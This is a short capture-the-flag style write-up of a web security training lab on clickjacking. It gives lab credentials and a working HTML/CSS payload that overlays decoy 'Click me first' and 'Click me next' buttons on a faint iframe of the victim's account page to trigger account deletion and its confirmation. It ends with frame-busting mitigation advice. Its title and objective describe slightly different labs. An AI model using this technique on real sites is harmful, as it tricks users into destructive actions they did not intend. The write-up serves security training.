Basic clickjacking with CSRF token protection

🎯 Objective

This lab combines CSRF protection with a Clickjacking defense by requiring both a CSRF token and a confirmation dialog.

Goal: Construct an attack that fools the victim into clicking the Delete Account button and then the confirmation dialog using "Click me first" and "Click me next" decoy actions.

🧭 Credentials

You can log in using the provided credentials:

wiener:peter

📄 Crafted Exploit Payload

<style>
  iframe {
    position: relative;
    width: 500px;
    height: 700px;
    opacity: 0.1;
    z-index: 2;
  }
  .firstClick, .secondClick {
    position: absolute;
    top: 495px;
    left: 50px;
    z-index: 1;
  }
  .secondClick {
    top: 290px;
    left: 205px;
  }
</style>

<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://0a84006f04b85a5dc03a453f00ec008a.web-security-academy.net/my-account"></iframe>

📸 Evidence

✅ Result

• Victim was tricked into clicking both the Delete Account button and the confirmation dialog.
• The lab was solved by chaining Clickjacking with CSRF bypass.

💡 Key Takeaway

• Clickjacking attacks can bypass confirmation dialogs when combined with decoy UI elements.
• Always use frame-busting headers (X-Frame-Options / Content-Security-Policy: frame-ancestors) to mitigate Clickjacking.